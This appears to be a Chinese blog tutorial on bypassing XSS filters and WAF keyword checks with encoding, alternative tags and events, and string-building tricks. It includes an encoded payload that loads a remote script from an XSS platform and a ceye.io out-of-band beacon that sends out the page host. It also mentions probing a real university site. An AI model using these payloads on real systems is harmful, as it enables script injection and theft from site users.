## 简要说明
考虑了一下,决定还是先写一写xss的简单绕过
我并没有下载waf,只是,单纯的从关键词,或者其他一些方式的绕过
开始测试
首先自己先做一个最简单的测试页面,如下

确保我们可以执行弹窗

简单绕过
上面这种就是没有任何过滤的反射型xss
像如下这种简单的过滤,不区分大小写的,我们完全可以通过大小写混合的模式,来进行弹窗
但在测试的过程中,不清楚什么问题script一直不生效,采用了img标签测试

那过滤了alert我们怎么办呢?有两个可以替代alert弹窗的函数
confirm()函数和prompt()函数
把img修改成大写后,如下

还有一种场景是检测小括号的alert后面的小括号会被检测
这个时候可以尝试双引号、单引号以及反引号,如下

那么,和sql一样自然也是可以尝试双写关键字的,但是,双写的前提就是后台检测到关键词,不执行exit或者die函数,而是把关键词删除,让我们有了利用的机会
再如下,再正则匹配中,如果加入了不区分大小写呢?

标签绕过
其实,如上这种形式,在后台过滤中估计都已经过时了
但如果遇到这种情况,我们应该怎么办呢?我首先想到的肯定是,如果后台通过黑名单,自然是寻找后台漏掉的危险标签
有很多,在这里不在全部列举了,参考
只要是可以再html页面生产一下东西的,都拿来试试
比如我就随便找了个下拉列表的标签

我们可以尝试的常用标签,淡然还有不少,比如a标签
1 | <img src=xx onclick=alert(1)> |
事件绕过
在这里简单罗列一下html的事件,一下仅供参考,并不全面
这个我保存完之后发现我写的,没给存上太狗了,还得重新写
全的可参考菜鸟:https://www.runoob.com/tags/ref-eventattributes.html
首先下面是表单事件
表单事件在HTML表单中触发 (适用于所有 HTML 元素, 但该HTML元素需在form表单内)
| 属性 | 值 | 描述 |
|---|---|---|
| onblur | script | 当元素失去焦点时运行脚本 |
| onchange | script | 当元素改变时运行脚本 |
| onfocus | script | 当元素获得焦点时运行脚本 |
| oninput | script | 当元素获得用户输入时运行脚本 |
| onreset | script | 当表单重置时运行脚本。HTML 5 不支持。 |
| onselect | script | 当选取元素时运行脚本 |
| onsubmit | script | 当提交表单时运行脚本 |
接下来是键盘事件
| 属性 | 值 | 描述 |
|---|---|---|
| onkeydown | script | 当按下按键时运行脚本 |
| onkeypress | script | 当按下并松开按键时运行脚本 |
| onkeyup | script | 当松开按键时运行脚本 |
然后是鼠标事件
通过鼠标触发事件, 类似用户的行为
| 属性 | 值 | 描输 |
|---|---|---|
| onclick | script | 当单击鼠标时运行脚本 |
| ondbclick | script | 当双击鼠标时运行脚本 |
| ondrag | script | 当拖动元素时运行脚本 |
| onmousedown | script | 当按下鼠标按钮时运行脚本 ** |
| onmousemove | script | 当鼠标指针移动时运行脚本 ** |
| onmouseout | script | 当鼠标指针移出元素时运行脚本 |
| onmouseover | script | 当鼠标指针移至元素之上时运行脚本 ** |
| onmouseup | script | 当松开鼠标按钮时运行脚本 |
| onmousewheel | script | 当转动鼠标滚轮时运行脚本 |
多媒体事件
通过视频(videos),图像(images)或者音频(audio) 触发该事件,多应用于HTML媒体元素比如 <audio>, <embed>, <img>, <object>, 和<video>)
| 属性 | 值 | 描述 |
|---|---|---|
| onabort | script | 当发生中止事件时运行脚本 ** |
| onerror | script | 当在元素加载期间发生错误时运行脚本 ** |
| onpause | script | 当媒介数据暂停时运行脚本 |
| onplay | script | 当媒介数据将要开始播放时运行脚本 |
| onplaying | script | 当媒介数据已开始播放时运行脚本 |
| onseeked | script | 当媒介元素的定位属性 [1] 不再为真且定位已结束时运行脚本 |
| onseeking | script | 当媒介元素的定位属性为真且定位已开始时运行脚本 |
| onstalled | script | 当取回媒介数据过程中(延迟)存在错误时运行脚本 |
窗口事件属性
| 属性 | 值 | 描述 |
|---|---|---|
| onblur | script | 当窗口失去焦点时运行脚本 |
| onerror | script | 当错误发生时运行脚本 |
| onfocus | script | 当窗口获得焦点时运行脚本 |
| onload | script | 当文档加载时运行脚本 |
| onresize | script | 当调整窗口大小时运行脚本 |
| onunload | script | 当用户离开文档时运行脚本 |
上面很多都用不到的
他这个上面也是不全
我并没有找到我曾经常用的一个事件 onmouseenter
| 属性 | 值 | 描述 |
|---|---|---|
| onmouseenter | script | onmouseenter 事件在鼠标指针移动到元素上时触发 |
编码绕过
HTML实体编码:
以&开头,分号结尾的。 例如”<”的编码是”<”;HTML实体编码(10进制与16进制)
例如”<”html十进制:< html十六进制:<
JavaScript编码:
js提供了四种字符编码的策略
- 三个八进制数字,如果不够个数,前面补0,例如“<”编码为“\074”
- 两个十六进制数字,如果不够个数,前面补0,例如“<”编码为“\x3c”
- 四个十六进制数字,如果不够个数,前面补0,例如“<”编码为“\u003c”
- 对于一些控制字符,使用特殊的C类型的转义风格(例如\n和\r)
简单利用:
浏览器是不会在html标签里解析js中的那些编码的onerror较特殊,onerror里的内容是当js解析的,因此可以用JSunicode编码,但是不能全部编码只能编码函数名。如果全部编码是会出错的
onerror支持:html10、html16、jsunicode;不支持:js8进制和js16进制
1 | <img src=xxx onerror="\u0061\u006c\u0065\u0072\u0074(1)"> |

base64编码
Data协议使用方法 data:资源类型;编码,内容
使用base64编码的情况 大多数是这样
<a href="可控点"><object data=\"可控点\"\><iframe src="可控点">
在这种情况下 如果过滤了<> ’ " javascript 的话 那么要xss可以这样写 然后利用base64编码!
1 | <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">111</a> |

URL编码Javascript:伪协议后面可以使用URL编码。
1 | <a href="javascript:%61lert(1)">test</a> ///可成功执行弹窗 |
因为href属性会跳转到其中的URL,而会进行URL解码。onerror属性则只会执行JS,不跳转
连接函数绕过
top对象:top可以连接对象以及属性或函数,那么我们可以做到很多,例如:直接
top连接一个alert函数

可以直接在标签中执行如下

也可以尝试如下方式执行,完全木有问题,调用alert函数

但是当waf拦截了alert关键词怎么办,首先可以使用一下confirm或者prompt函数
但你这个时候就想使用alert,top直接关键词的拼接,如下
注意+号在url中需要使用url编码 %2b

它还支持如下书写形式
1 | <details open ontoggle=top[a='al',b='t',c='er',a%2bc%2bb](1)> |

昨天遇到一个某师范大学的网站存在这么一个洞,和上面的payload类似,贴不上图了,ip给我ban了
window对象
其用法于
top类似
1 | <img src=x onerror=window['al'%2B'ert'](1) > |

concat()函数
concat方法在实际应用中,不仅仅可以用于连接两个或多个数组,还可以合并两个或者多个字符串模拟一个应用场景比如,我们过滤了
script和alert,如下

经过测试,需配合iframe标签使用
1 | <iframe onload=location='javascri'.concat('pt:aler','t(1)')> |

如果concat被过滤可以尝试编码,编第一个字符就行
1 | <iframe onload=location='javascri'.\u0063oncat('pt:aler','t(1)')> |

join()
join函数将数组转换成字符串使用方式如下,就不贴图了
1 | <iframe onload=location=['javascr','ipt:','al','ert(1)'].join(”)> |
document.write和String.fromCharCode()方法的组合
document.write向页面输出内容
String.fromCharCode()是javascript中的字符串方法,用来把ASCII转换为字符串
用于类似于php中 magic_quotes_gpc=ON 的绕过
使用方式如下
1 | <body/onload=document.write(String.fromCharCode(60,115,67,114,73,112,116,32,115,114,67,61,104,116,116,112,58,47,47,120,115,115,46,116,102,47,101,101,87,62,60,47,115,67,82,105,112,84,62))> |

利用可执行函数
eval()、setTimeout()、setInterval()
以上都是会将字符串当做js代码执行的函数
如下
1 | <details open ontoggle=eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029') > |

如果waf拦截eval的话可以尝试其他两个函数,或者把e进行unicode编码
1 | <details open ontoggle=\u0065val('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029') > |

1 | <details open ontoggle=eval(atob('YWxlcnQoMSk=')) > //Base64编码 |
写在最后
关于xss的测试我们还是少弹窗吧
可能基于,一些特殊心理,不弹窗心里难受,其实我们完全可以尝试以下带外数据方式,证明是否存在xss漏洞
比如使用ceye平台
执行如下语句
1 | <iframe onload=location='http://'.concat(window.location.host,'.o8auqr.ceye.io/1.html')> |

ceye平台接受如下

这个还是需要页面跳转,其是简单测试的时候,我感觉img标签src属性能访问到,基本就能证明漏洞存在了

平台能接收到,说明去访问了,就和去访问xs平台的链接一个道理吧

暂时这些吧,一点了。。。







